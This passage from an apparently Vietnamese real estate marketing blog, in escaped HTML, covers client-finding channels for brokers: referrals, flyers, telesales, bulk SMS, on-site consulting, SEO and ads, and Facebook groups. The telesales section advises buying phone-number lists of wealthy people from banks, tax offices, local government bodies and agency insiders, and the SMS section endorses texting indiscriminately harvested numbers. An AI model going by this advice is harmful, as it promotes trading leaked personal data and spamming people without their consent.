kh\u00e1ch.<\/li>\n<li>\u0110\u01b0\u1ee3c kh\u00e1ch gi\u1edbi thi\u1ec7u ng\u01b0\u1eddi kh\u00e1c.<\/li>\n<li>T\u1ea1o k\u1ebft n\u1ed1i qua l\u1ea1i v\u1edbi kh\u00e1ch.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Cham_soc_Cultivate\"><\/span>Ch\u0103m s\u00f3c (Cultivate)<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>D\u00f9 b\u1ea1n c\u00f3 ti\u1ebfp c\u1eadn \u0111\u1ec3 g\u1eb7p m\u1eb7t ho\u1eb7c \u0111\u01b0\u1ee3c gi\u1edbi thi\u1ec7u hay kh\u00f4ng, m\u1ed9t khi li\u00ean k\u1ebft \u0111\u00e3 h\u00ecnh th\u00e0nh, n\u00f3 lu\u00f4n c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c c\u1ee7ng c\u1ed1 &#8211; \u0111\u00f3 l\u00e0 m\u1ed9t qu\u00e1 tr\u00ecnh li\u00ean t\u1ee5c. M\u1ed1i quan h\u1ec7 \u0111\u01b0\u1ee3c thi\u1ebft l\u1eadp n\u00e0y s\u1ebd ti\u1ebfp t\u1ee5c ph\u00e1t tri\u1ec3n khi b\u1ea1n gi\u1eef li\u00ean l\u1ea1c v\u00e0 c\u00f3 th\u1ec3 l\u00e0 l\u00e0m vi\u1ec7c v\u1edbi nhau sau \u0111\u00f3. M\u1ee5c ti\u00eau l\u00e0 gi\u1eef cho c\u00e1c m\u1ed1i quan h\u1ec7 ph\u00e1t tri\u1ec3n \u2013\u00a0nh\u1eefng ng\u01b0\u1eddi c\u00f3 c\u1ea3m t\u00ecnh v\u1edbi b\u1ea1n s\u1ebd h\u1ee3p t\u00e1c v\u00e0 gi\u1edbi thi\u1ec7u nhi\u1ec1u ng\u01b0\u1eddi kh\u00e1c cho b\u1ea1n.<\/p>\n\n\n\n<p>H\u00e3y s\u1eed d\u1ee5ng th\u00f4ng tin thu th\u1eadp \u0111\u01b0\u1ee3c nh\u01b0 mong mu\u1ed1n, s\u1edf th\u00edch c\u1ee7a kh\u00e1ch h\u00e0ng \u0111\u1ec3 l\u00e0m phong ph\u00fa nh\u1eefng l\u1ea7n ti\u1ebfp x\u00fac trong t\u01b0\u01a1ng lai, th\u00f4ng qua vi\u1ec7c chia s\u1ebb th\u00f4ng tin m\u00e0 h\u1ecd c\u1ea7n. V\u00e0 v\u1edbi b\u1ea5t k\u1ef3 ai gi\u1edbi thi\u1ec7u ng\u01b0\u1eddi kh\u00e1c cho b\u1ea1n, h\u00e3y g\u1eedi cho h\u1ecd m\u1ed9t ph\u1ea7n qu\u00e0 c\u1ea3m \u01a1n v\u00e0 c\u00e1c b\u00e1o c\u00e1o ti\u1ebfn b\u1ed9 t\u00edch c\u1ef1c v\u1ec1 vi\u1ec7c b\u1ea1n quan t\u00e2m \u0111\u1ebfn ng\u01b0\u1eddi \u0111\u01b0\u1ee3c gi\u1edbi thi\u1ec7u cho ng\u01b0\u1eddi gi\u1edbi thi\u1ec7u.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"title3\"><span class=\"ez-toc-section\" id=\"Cong_cu_tiep_can_khach_hang_bat_dong_san\"><\/span><strong>C\u00f4ng c\u1ee5 ti\u1ebfp c\u1eadn kh\u00e1ch h\u00e0ng b\u1ea5t \u0111\u1ed9ng s\u1ea3n<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>N\u00f3i \u0111\u01a1n gi\u1ea3n h\u01a1n th\u00ec b\u00ed quy\u1ebft n\u00e0y gi\u00fap\u00a0b\u1ea1n ti\u1ebfp c\u1eadn \u0111\u01b0\u1ee3c kh\u00e1ch h\u00e0ng mua b\u1ea5t \u0111\u1ed9ng s\u1ea3n\u00a0c\u1ee7a m\u00ecnh. \u0110\u1ec3 c\u00f3 th\u1ec3 ti\u1ebfp c\u1eadn kh\u00e1ch h\u00e0ng m\u1ee5c ti\u00eau m\u1ed9t c\u00e1ch hi\u1ec7u qu\u1ea3 nh\u1ea5t, b\u1ea1n c\u1ea7n ch\u1ecdn ra k\u00eanh ph\u00f9 h\u1ee3p v\u1edbi \u0111\u1ed1i t\u01b0\u1ee3ng kh\u00e1ch h\u00e0ng m\u00e0 m\u00ecnh \u0111ang h\u01b0\u1edbng \u0111\u1ebfn. M\u1ed7i \u0111\u1ed1i t\u01b0\u1ee3ng kh\u00e1ch h\u00e0ng kh\u00e1c nhau s\u1ebd c\u00f3 nh\u1eefng \u0111\u1eb7c \u0111i\u1ec3m kh\u00e1c nhau v\u1ec1 c\u00e1ch h\u1ecd t\u00ecm ki\u1ebfm, ti\u1ebfp c\u1eadn th\u00f4ng tin, s\u1eed d\u1ee5ng c\u00e1c k\u00eanh v\u00e0 ph\u01b0\u01a1ng ti\u1ec7n truy\u1ec1n th\u00f4ng c\u0169ng ho\u00e0n to\u00e0n kh\u00e1c bi\u1ec7t.<\/p>\n<p>C\u00f4ng c\u1ee5 kh\u00f4ng th\u1ec3 thi\u1ebfu:\u00a0<a href=\"https:\/\/reti.vn\/blog\/lay-so-dien-thoai-vao-website-dich-vu-khong-the-thieu-cho-moi-gioi-chay-quang-cao-online\/\">L\u1ea5y s\u1ed1 \u0111i\u1ec7n tho\u1ea1i v\u00e0o website \u2013 d\u1ecbch v\u1ee5 kh\u00f4ng th\u1ec3 thi\u1ebfu cho m\u00f4i gi\u1edbi ch\u1ea1y qu\u1ea3ng c\u00e1o online<\/a><\/p>\n\n\n\n<p>V\u1eady, t\u1ea1i sao b\u1ea1n kh\u00f4ng d\u00f9ng t\u1ea5t c\u1ea3 c\u00e1c ph\u01b0\u01a1ng ti\u1ec7n m\u00e0 l\u1ea1i c\u1ea7n ph\u1ea3i l\u1ef1a ch\u1ecdn? B\u1edfi n\u1ebfu ch\u1ecdn \u0111\u00fang s\u1ebd ti\u1ebft ki\u1ec7m th\u1eddi gian, c\u00f4ng s\u1ee9c v\u00e0 ti\u1ec1n b\u1ea1c c\u1ee7a b\u1ea1n r\u1ea5t nhi\u1ec1u. B\u1ea1n mu\u1ed1n ch\u1ecdn 20% kh\u00e1ch h\u00e0ng ch\u1ea5t l\u01b0\u1ee3ng chi\u1ebfm \u0111\u1ebfn 80% doanh thu hay ng\u01b0\u1ee3c l\u1ea1i?<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Phat_to_roi_treo_bang_ron_dang_bao_giay\"><\/span><strong>Ph\u00e1t t\u1edd r\u01a1i, treo b\u0103ng r\u00f4n, \u0111\u0103ng b\u00e1o gi\u1ea5y<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u0110\u00e2y l\u00e0 ph\u01b0\u01a1ng ph\u00e1p t\u1eeb th\u1eddi \u201cs\u01a1 khai\u201d trong kinh doanh B\u0110S. Tr\u01b0\u1edbc khi \u0111i ph\u00e1t t\u1edd r\u01a1i ho\u1eb7c treo b\u0103ng r\u00f4n, b\u1ea1n c\u1ea7n d\u1ef1 \u0111o\u00e1n nh\u1eefng khu v\u1ef1c t\u1eadp trung kh\u00e1ch h\u00e0ng ti\u1ec1m n\u0103ng nh\u01b0: C\u00e1c khu v\u1ef1c nh\u00e0 \u1edf, ng\u00e3 t\u01b0 \u0111\u01b0\u1eddng, c\u00f4ng vi\u00ean, c\u00e1c c\u00f4ng ty, c\u01a1 quan l\u1edbn,&#8230; trong b\u00e1n k\u00ednh t\u1eeb 3 &#8211; 4km g\u1ea7n d\u1ef1 \u00e1n. H\u00e3y c\u1ed1 g\u1eafng ti\u1ebfp c\u1eadn khu v\u1ef1c c\u00e0ng \u0111\u00f4ng d\u00e2n c\u01b0 c\u00e0ng t\u1ed1t.<\/p>\n\n\n\n<p>B\u1ea1n c\u0169ng c\u00f3 th\u1ec3 m\u1edf r\u1ed9ng \u0111\u1ecba b\u00e0n ra c\u00e1c t\u1ec9nh \u0111\u1ec3 ki\u1ebfm \u0111\u01b0\u1ee3c kh\u00e1ch. H\u00e3y l\u1eadp nh\u00f3m v\u1edbi c\u00e1c b\u1ea1n m\u00f4i gi\u1edbi kh\u00e1c v\u00e0 t\u1ed5 ch\u1ee9c \u0111i xu\u1ed1ng c\u00e1c t\u1ec9nh l\u00e2n c\u1eadn khu v\u1ef1c c\u00f3\u00a0d\u1ef1 \u00e1n\u00a0\u0111\u1ec3 ph\u00e1t t\u1edd r\u01a1i cho kh\u00e1ch h\u00e0ng. \u0110\u1ed1i t\u01b0\u1ee3ng kh\u00e1ch h\u00e0ng nh\u1eafm \u0111\u1ebfn \u1edf \u0111\u00e2y l\u00e0 c\u00e1c gia \u0111\u00ecnh c\u00f3 nhu c\u1ea7u mua nh\u00e0 cho con l\u00ean th\u00e0nh ph\u1ed1 sinh s\u1ed1ng, h\u1ecdc t\u1eadp, l\u00e0m vi\u1ec7c n\u00ean c\u1ea7n ch\u1ecdn nh\u1eefng \u0111\u1ecba \u0111i\u1ec3m \u0111\u00f4ng \u0111\u00fac nh\u01b0 t\u1ea1i c\u00e1c ch\u1ee3, c\u00e1c si\u00eau th\u1ecb ho\u1eb7c th\u1eadm ch\u00ed l\u00e0 \u0111i \u0111\u1ebfn t\u1eebng nh\u00e0.<\/p>\n\n\n\n<p>B\u00ean c\u1ea1nh \u0111\u00f3, \u0111\u1ec3 th\u1ef1c hi\u1ec7n c\u00f4ng vi\u1ec7c n\u00e0y hi\u1ec7u qu\u1ea3, ph\u1ea7n l\u1edbn s\u1ebd ph\u1ee5 thu\u1ed9c v\u00e0o n\u1ed9i dung. \u201cContent is King\u201d, ch\u00ednh v\u00ec v\u1eady b\u1ea1n c\u1ea7n ch\u00fa tr\u1ecdng \u0111\u1ea7u t\u01b0 v\u00e0o vi\u1ec7c bi\u00ean so\u1ea1n n\u1ed9i dung sao cho l\u00f4i cu\u1ed1n, h\u1ea5p d\u1eabn. \u0110\u1ed3ng th\u1eddi, c\u00e1c \u1ea5n ph\u1ea9m \u0111\u01b0\u1ee3c thi\u1ebft k\u1ebf \u0111\u1eb9p m\u1eaft c\u0169ng g\u00f3p ph\u1ea7n kh\u00f4ng nh\u1ecf v\u00e0o vi\u1ec7c thu h\u00fat kh\u00e1ch h\u00e0ng.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Goi_dien_truc_tiep_gioi_thieu_du_an_Telesale\"><\/span>G\u1ecdi \u0111i\u1ec7n tr\u1ef1c ti\u1ebfp gi\u1edbi thi\u1ec7u d\u1ef1 \u00e1n (Telesale)<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u0110\u00e2y l\u00e0 c\u00e1ch t\u00ecm ki\u1ebfm kh\u00e1ch h\u00e0ng b\u1ea5t \u0111\u1ed9ng s\u1ea3n \u0111ang \u0111\u01b0\u1ee3c \u00e1p d\u1ee5ng r\u1ea5t ph\u1ed5 bi\u1ebfn v\u00e0 \u0111\u01b0\u1ee3c xem l\u00e0 mang l\u1ea1i hi\u1ec7u qu\u1ea3 cao. \u0110\u1ea7u ti\u00ean, c\u00e1c s\u00e0n giao d\u1ecbch s\u1ebd t\u00ecm mua data s\u1ed1 \u0111i\u1ec7n tho\u1ea1i kh\u00e1ch h\u00e0ng, l\u00e0 m\u1ed9t danh s\u00e1ch g\u1ed3m c\u00e1c kh\u00e1ch h\u00e0ng ti\u1ec1m n\u0103ng c\u00f3 kh\u1ea3 n\u0103ng t\u00e0i ch\u00ednh m\u1ea1nh \u0111\u1ec3 mua nh\u00e0 v\u00e0 ph\u00e2n ph\u1ed1i xu\u1ed1ng cho nh\u00e2n vi\u00ean m\u00f4i gi\u1edbi \u0111\u1ec3 gi\u1edbi thi\u1ec7u d\u1ef1 \u00e1n. B\u1ea1n c\u0169ng c\u00f3 th\u1ec3 t\u1ef1 t\u00ecm mua data n\u00e0y. Data ti\u1ec1m n\u0103ng th\u01b0\u1eddng \u0111\u01b0\u1ee3c mua t\u1eeb ng\u00e2n h\u00e0ng, c\u01a1 quan thu\u1ebf, ph\u00f2ng T\u00e0i nguy\u00ean &#8211; m\u00f4i tr\u01b0\u1eddng, \u1ee6y ban nh\u00e2n d\u00e2n, h\u1ec7 th\u1ed1ng c\u1eeda h\u00e0ng, si\u00eau th\u1ecb, nh\u00e2n vi\u00ean n\u1ed9i b\u1ed9 trong c\u01a1 quan \u1edf khu v\u1ef1c l\u00e2n c\u1eadn d\u1ef1 \u00e1n\u2026<\/p>\n\n\n\n<p>\u0110\u1ec3 th\u00e0nh c\u00f4ng b\u1eb1ng ph\u01b0\u01a1ng ph\u00e1p telesale, b\u1ea1n ph\u1ea3i luy\u1ec7n t\u1eadp k\u1ef9 n\u0103ng n\u00f3i chuy\u1ec7n, kh\u1ea3 n\u0103ng giao ti\u1ebfp v\u00e0 thuy\u1ebft ph\u1ee5c ng\u01b0\u1eddi kh\u00e1c qua \u0111i\u1ec7n tho\u1ea1i. Ngo\u00e0i ra h\u00e3y ph\u00e2n lo\u1ea1i kh\u00e1ch h\u00e0ng r\u00f5 r\u00e0ng \u0111\u1ec3 x\u00e1c \u0111\u1ecbnh th\u1eddi gian ph\u00f9 h\u1ee3p t\u01b0\u01a1ng t\u00e1c v\u1edbi h\u1ecd. B\u00ean c\u1ea1nh \u0111\u00f3 b\u1ea1n c\u00f2n c\u1ea7n m\u1ed9t l\u00f2ng ki\u00ean nh\u1eabn v\u00e0 tinh th\u1ea7n b\u1ec1n b\u1ec9 v\u00ec s\u1ebd kh\u00f4ng thi\u1ebfu l\u00fac b\u1ecb kh\u00e1ch h\u00e0ng t\u1eeb ch\u1ed1i ho\u1eb7c c\u00e1u g\u1eaft r\u1ed3i t\u1eaft m\u00e1y ngang. K\u1ef9 n\u0103ng giao ti\u1ebfp l\u00e0 quan tr\u1ecdng, nh\u01b0ng c\u0169ng ph\u1ea3i nh\u1edb m\u1ee5c ti\u00eau c\u1ee7a telesale l\u00e0 b\u1ea1n ph\u1ea3i ch\u1ed1t \u0111\u01b0\u1ee3c cu\u1ed9c h\u1eb9n t\u01b0 v\u1ea5n v\u1edbi kh\u00e1ch h\u00e0ng.<\/p>\n\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img decoding=\"async\" data-src=\"https:\/\/i.imgur.com\/vRSTPB8.jpg\" alt=\"\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" class=\"lazyload\">\n<figcaption>Telesale l\u00e0 c\u00e1ch t\u00ecm ki\u1ebfm kh\u00e1ch h\u00e0ng b\u1ea5t \u0111\u1ed9ng s\u1ea3n \u0111ang \u0111\u01b0\u1ee3c \u00e1p d\u1ee5ng r\u1ea5t ph\u1ed5 bi\u1ebfn v\u00e0 \u0111\u01b0\u1ee3c xem l\u00e0 mang l\u1ea1i hi\u1ec7u qu\u1ea3 cao<\/figcaption>\n<\/figure>\n<\/div>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"SMS_Marketing\"><\/span>SMS Marketing<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>Ph\u1ea7n m\u1ec1m ti\u1ebfp th\u1ecb SMS l\u00e0 m\u1ed9t b\u1ed5 sung h\u1eefu \u00edch cho c\u00e1c c\u00f4ng c\u1ee5\u00a0Digital Marketing B\u1ea5t \u0111\u1ed9ng s\u1ea3n\u00a0m\u00e0 b\u1ea1n c\u00f3. B\u1ea1n c\u00f3 th\u1ec3 s\u1eed d\u1ee5ng n\u00f3 g\u1eedi m\u1ed9t tin nh\u1eafn s\u1ed1 l\u01b0\u1ee3ng l\u1edbn, nh\u1eafm m\u1ee5c ti\u00eau \u0111\u1ebfn h\u00e0ng lo\u1ea1t kh\u00e1ch h\u00e0ng, danh s\u00e1ch s\u1ed1 \u0111i\u1ec7n tho\u1ea1i th\u01b0\u1eddng l\u00ean \u0111\u1ebfn h\u00e0ng tr\u0103m ng\u00e0n t\u00f9y quy m\u00f4 t\u1ed5 ch\u1ee9c. S\u1ed1 \u0111i\u1ec7n tho\u1ea1i c\u00f3 th\u1ec3 l\u00e0 ng\u1eabu nhi\u00ean \u0111\u01b0\u1ee3c l\u1ea5y m\u1ed9t c\u00e1ch tr\u00e0n lan ho\u1eb7c \u0111\u00e1nh theo t\u1eebng \u0111\u1ed1i t\u01b0\u1ee3ng c\u1ee5 th\u1ec3.<\/p>\n\n\n\n<p>C\u00f3 m\u1ed9t ph\u1ea7n m\u1ec1m ti\u1ebfp th\u1ecb SMS cho c\u00e1c c\u00f4ng c\u1ee5 ti\u1ebfp th\u1ecb tr\u1ef1c tuy\u1ebfn B\u1ea5t \u0111\u1ed9ng s\u1ea3n c\u1ee7a b\u1ea1n c\u0169ng c\u00f3 th\u1ec3 gi\u1ea3i quy\u1ebft c\u00e1c m\u1ee5c \u0111\u00edch kh\u00e1c. B\u1ea1n c\u00f3 th\u1ec3 g\u1eedi phi\u1ebfu mua h\u00e0ng, c\u1eadp nh\u1eadt v\u00e0 th\u1eadm ch\u00ed c\u1ea3 v\u1ecb tr\u00ed cho \u0111\u1ed1i t\u01b0\u1ee3ng c\u1ee7a m\u00ecnh th\u00f4ng qua tin nh\u1eafn v\u0103n b\u1ea3n. Ti\u1ebfp th\u1ecb qua SMS cung c\u1ea5p cho b\u1ea1n c\u01a1 h\u1ed9i kh\u00f4ng ng\u1eebng \u0111\u1ec3 hi\u1ec3n th\u1ecb doanh nghi\u1ec7p c\u1ee7a b\u1ea1n cho nh\u1eefng ng\u01b0\u1eddi quan tr\u1ecdng. S\u1eed d\u1ee5ng n\u00f3, g\u1eedi \u0111\u00fang th\u00f4ng \u0111i\u1ec7p cho \u0111\u00fang ng\u01b0\u1eddi v\u00e0o \u0111\u00fang th\u1eddi \u0111i\u1ec3m \u0111\u1ec3 \u0111\u1ea1t \u0111\u01b0\u1ee3c m\u1ee9c \u0111\u1ed9 t\u01b0\u01a1ng t\u00e1c t\u1ed1i \u0111a.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Truc_tai_du_an_va_tu_van_truc_tiep\"><\/span>Tr\u1ef1c t\u1ea1i d\u1ef1 \u00e1n v\u00e0 t\u01b0 v\u1ea5n tr\u1ef1c ti\u1ebfp<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u0110\u00e2y c\u0169ng l\u00e0 c\u00e1ch t\u00ecm ki\u1ebfm kh\u00e1ch h\u00e0ng b\u1ea5t \u0111\u1ed9ng s\u1ea3n r\u1ea5t hi\u1ec7u qu\u1ea3, c\u00f3 \u0111i\u1ec1u b\u1ea1n s\u1ebd ph\u1ea3i ch\u1ecbu kh\u00f3 \u201cd\u1ea7m m\u01b0a d\u00e3i n\u1eafng\u201d t\u1ea1i n\u01a1i \u0111ang x\u00e2y d\u1ef1ng b\u1ea5t \u0111\u1ed9ng s\u1ea3n trong su\u1ed1t th\u1eddi \u0111i\u1ec3m n\u00f3ng m\u1edf b\u00e1n. Th\u00f4ng th\u01b0\u1eddng c\u00e1c s\u00e0n giao d\u1ecbch s\u1ebd m\u1edf v\u0103n ph\u00f2ng t\u01b0 v\u1ea5n ngay c\u1ea1nh d\u1ef1 \u00e1n \u0111\u1ec3 t\u1ea1o \u0111i\u1ec1u ki\u1ec7n thu\u1eadn l\u1ee3i cho c\u00e1c nh\u00e2n vi\u00ean m\u00f4i gi\u1edbi, h\u1ecd c\u00f3 th\u1ec3 ng\u1ed3i trong v\u0103n ph\u00f2ng ho\u1eb7c \u0111\u1ee9ng tr\u1ef1c tr\u01b0\u1edbc c\u00f4ng tr\u00ecnh. C\u00f3 kh\u00e1 nhi\u1ec1u kh\u00e1ch h\u00e0ng \u0111\u1ecdc \u0111\u01b0\u1ee3c th\u00f4ng tin v\u1ec1 d\u1ef1 \u00e1n v\u00e0 mu\u1ed1n \u0111\u1ebfn t\u1eadn n\u01a1i \u0111\u1ec3 xem x\u00e9t, \u0111\u00e2y s\u1ebd l\u00e0 c\u01a1 h\u1ed9i v\u00e0ng \u0111\u1ec3 b\u1ea1n thu h\u00fat, t\u01b0 v\u1ea5n s\u1ea3n ph\u1ea9m v\u00e0 ch\u1ed1t sale m\u1ed9t c\u00e1ch d\u1ec5 d\u00e0ng.<\/p>\n\n\n\n<p>Tuy nhi\u00ean, khi may m\u1eafn \u201cb\u1eaft\u201d \u0111\u01b0\u1ee3c kh\u00e1ch v\u00e0 k\u1ec3 c\u1ea3 \u0111\u00e3 m\u00f4i gi\u1edbi thu\u1eadn l\u1ee3i, b\u1ea1n v\u1eabn ph\u1ea3i th\u01b0\u1eddng xuy\u00ean v\u00e0 kh\u00e9o l\u00e9o ch\u0103m s\u00f3c kh\u00e1ch h\u00e0ng m\u1ed9t c\u00e1ch chu \u0111\u00e1o \u0111\u1ec3 c\u00f3 th\u1ec3 ch\u1ed1t \u0111\u01b0\u1ee3c sale, h\u00e3y c\u1ea9n th\u1eadn \u0111\u1eebng \u0111\u1ec3 ph\u00eda \u0111\u1ed1i th\u1ee7 c\u01b0\u1edbp m\u1ea5t kh\u00e1ch c\u1ee7a b\u1ea1n.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Tao_website_lam_SEO_chay_quang_cao\"><\/span><strong>T\u1ea1o website, l\u00e0m SEO, ch\u1ea1y qu\u1ea3ng c\u00e1o<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>M\u1ed9t trong nh\u1eefng c\u00e1ch t\u00ecm ki\u1ebfm kh\u00e1ch h\u00e0ng b\u1ea5t \u0111\u1ed9ng s\u1ea3n ph\u1ed5 bi\u1ebfn hi\u1ec7n nay l\u00e0 \u0111\u1ea7u t\u01b0 l\u00e0m website d\u1ef1 \u00e1n theo nh\u00f3m, landing page, ho\u1eb7c ch\u1ea1y\u00a0Google AdWords\u00a0\u0111\u1ec3 c\u00f3 th\u1ec3 ti\u1ebfp c\u1eadn kh\u00e1ch t\u1ed1t h\u01a1n. Tuy nhi\u00ean c\u1ea7n xem x\u00e9t t\u00ednh ch\u1ea5t c\u1ee7a d\u1ef1 \u00e1n \u0111\u1ec3 quy\u1ebft \u0111\u1ecbnh c\u00e1ch l\u00e0m hi\u1ec7u qu\u1ea3. V\u00ed d\u1ee5, \u0111\u1ed1i v\u1edbi d\u1ef1 \u00e1n c\u1ea7n ch\u1ea1y g\u1ea5p r\u00fat v\u00e0 nhanh th\u00ec n\u00ean d\u00f9ng Google AdWords, v\u1edbi d\u1ef1 \u00e1n d\u00e0i h\u01a1n th\u00ec vi\u1ec7c qu\u1ea3ng c\u00e1o s\u1ebd hi\u1ec7u qu\u1ea3 h\u01a1n n\u1ebfu \u0111\u1ea7u t\u01b0 SEO.<\/p>\n\n\n\n<p>N\u1ebfu b\u1ea1n c\u00f3 kinh ph\u00ed v\u00e0 mu\u1ed1n ch\u1ee7 \u0111\u1ed9ng trong t\u00ecm ki\u1ebfm kh\u00e1ch h\u00e0ng qua m\u1ea1ng t\u00ecm ki\u1ebfm th\u00ec b\u1ea1n n\u00ean l\u00e0m Seo Web &#8211; Site v\u00e0 ch\u1ea1y qu\u1ea3ng c\u00e1o Adwords. H\u1ea7u h\u1ebft ng\u01b0\u1eddi l\u00e0m kinh doanh b\u1ea5t \u0111\u1ed9ng s\u1ea3n \u0111\u1ec1u s\u1edf h\u1eefu \u00edt nh\u1ea5t l\u00e0 2 trang Web \u0111\u1ec3 t\u00ecm ki\u1ebfm kh\u00e1ch h\u00e0ng. S\u1ef1 c\u1ea1nh tranh trong l\u0129nh v\u1ef1c B\u1ea5t \u0111\u1ed9ng s\u1ea3n r\u1ea5t cao, vi\u1ec7c th\u1ee7 c\u00f4ng \u0111\u01b0a t\u1eeb kh\u00f3a Seo l\u00ean top 10 Google chi\u1ebfm r\u1ea5t nhi\u1ec1u th\u1eddi gian. \u201cTh\u01b0\u01a1ng tr\u01b0\u1eddng l\u00e0 chi\u1ebfn tr\u01b0\u1eddng\u201d, ph\u1ea3i lu\u00f4n n\u1eafm b\u1eaft c\u01a1 h\u1ed9i trong vi\u1ec7c t\u00ecm ki\u1ebfm kh\u00e1ch h\u00e0ng, ch\u1ec9 c\u1ea7n t\u1ed1n m\u1ed9t m\u1ee9c ph\u00ed \u0111\u1ea5u th\u1ea7u, vi\u1ec7c ch\u1ea1y qu\u1ea3ng c\u00e1o Google Adwords gi\u00fap c\u00e1c t\u1eeb kh\u00f3a c\u1ee7a b\u1ea1n l\u00ean \u0111\u1ebfn Top Google trong th\u1eddi gian nhanh nh\u1ea5t, v\u00e0 kh\u00e1ch h\u00e0ng nhanh ch\u00f3ng bi\u1ebft \u0111\u1ebfn c\u00e1c s\u1ea3n ph\u1ea9m, d\u1ecbch v\u1ee5 b\u1ea5t \u0111\u1ed9ng s\u1ea3n c\u1ee7a b\u1ea1n.<\/p>\n\n\n\n<p>Ng\u01b0\u1eddi m\u00f4i gi\u1edbi c\u1ea7n c\u1ea7n x\u00e9t t\u00ednh ch\u1ea5t c\u1ee7a d\u1ef1 \u00e1n \u0111\u1ec3 quy\u1ebft \u0111\u1ecbnh c\u00e1ch l\u00e0m hi\u1ec7u qu\u1ea3. V\u00ed d\u1ee5, \u0111\u1ed1i v\u1edbi d\u1ef1 \u00e1n c\u1ea7n ch\u1ea1y g\u1ea5p r\u00fat v\u00e0 nhanh th\u00ec n\u00ean d\u00f9ng Google AdWords, v\u1edbi d\u1ef1 \u00e1n d\u00e0i h\u01a1n th\u00ec vi\u1ec7c qu\u1ea3ng c\u00e1o s\u1ebd hi\u1ec7u qu\u1ea3 h\u01a1n n\u1ebfu \u0111\u1ea7u t\u01b0 SEO.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Facebook_Fanpage_Facebook_Group_Quang_cao_Facebook\"><\/span><strong>Facebook Fanpage, Facebook Group &amp; Qu\u1ea3ng c\u00e1o Facebook<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>Facebook c\u0169ng l\u00e0 m\u1ed9t k\u00eanh qu\u1ea3ng c\u00e1o hi\u1ec7u qu\u1ea3. B\u1eb1ng c\u00e1ch \u0111\u0103ng tin l\u00ean c\u00e1c group c\u1ed9ng \u0111\u1ed3ng, ho\u1eb7c t\u1ea1o\u00a0Fanpage\u00a0v\u00e0 s\u1eed d\u1ee5ng d\u1ecbch v\u1ee5 qu\u1ea3ng c\u00e1o c\u1ee7a\u00a0Facebook, s\u1ebd c\u00f3 kha kh\u00e1 ng\u01b0\u1eddi quan t\u00e2m v\u00e0 mu\u1ed1n t\u00ecm hi\u1ec3u th\u00f4ng tin v\u1ec1 s\u1ea3n ph\u1ea9m. \u0110\u00e2y l\u00e0 m\u1ed9t ngu\u1ed3n kh\u00e1ch h\u00e0ng r\u1ea5t ti\u1ec1m n\u0103ng. Tuy nhi\u00ean, hi\u1ec7n c\u00f3 nhi\u1ec1u m\u00f4i gi\u1edbi kh\u00e1c c\u0169ng th\u01b0\u1eddng xuy\u00ean v\u00e0o nh\u1eefng Fanpage n\u00e0y \u0111\u1ec3 t\u00ecm kh\u00e1ch n\u00ean c\u1ea7n thi\u1ebft l\u1eadp ch\u1ebf \u0111\u1ed9 \u1ea9n th\u00f4ng tin kh\u00e1ch h\u00e0ng \u0111\u1ec3 kh\u00f4ng b\u1ecb m\u1ea5t kh\u00e1ch.<\/p>\n\n\n\n\n\n<h2 class=\"wp-block-heading\" id=\"title4\"><span class=\"ez-toc-section\" id=\"Hieu_ro_tam_ly_khach_hang_khi_lam_CTV_bat_dong_san\"><\/span><strong>Hi\u1ec3u r\u00f5 t\u00e2m l\u00fd kh\u00e1ch h\u00e0ng khi l\u00e0m CTV b\u1ea5t \u0111\u1ed9ng s\u1ea3n<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>N\u1ebfu nh\u1eefng b\u01b0\u1edbc tr\u00ean gi\u00fap b\u1ea1n t\u00ecm ki\u1ebfm kh\u00e1ch h\u00e0ng th\u00ec b\u01b0\u1edbc n\u00e0y gi\u00fap b\u1ea1n c\u01b0a \u0111\u1ed5 kh\u00e1ch h\u00e0ng. \u0110\u00e2y ch\u00ednh l\u00e0 v\u00f2ng \u201cknock-out\u201d lo\u1ea1i tr\u1ef1c ti\u1ebfp. Chu\u1ea9n b\u1ecb t\u1ed1t l\u00e0 \u0111i\u1ec1u ki\u1ec7n ti\u00ean quy\u1ebft nh\u01b0ng k\u0129 n\u0103ng \u1ee9ng bi\u1ebfn l\u1ea1i c\u00e0ng quan tr\u1ecdng h\u01a1n. Kh\u00e2u chu\u1ea9n b\u1ecb b\u1ea1n c\u1ea7n l\u00ean s\u1eb5n khung nh\u1eefng \u0111i\u1ec3m m\u1ea1nh c\u1ee7a d\u1ef1 \u00e1n, gi\u00e1 c\u1ea3, thi\u1ebft k\u1ebf, v\u1ecb tr\u00ed, phong th\u1ee7y\u2026 m\u00e0 kh\u00e1ch h\u00e0ng th\u01b0\u1eddng quan t\u00e2m. B\u1ea1n h\u00e3y nh\u1edb l\u1ea1i nh\u1eefng ng\u01b0\u1eddi mua \u0111i\u1ec3n h\u00ecnh h\u1ecd hay quan t\u00e2m \u0111\u1ebfn \u0111i\u1ec1u g\u00ec \u0111\u1ec3 kh\u00f4ng b\u1ecb b\u1ee1 ng\u1ee1.<\/p>\n\n\n\n<p>Tuy 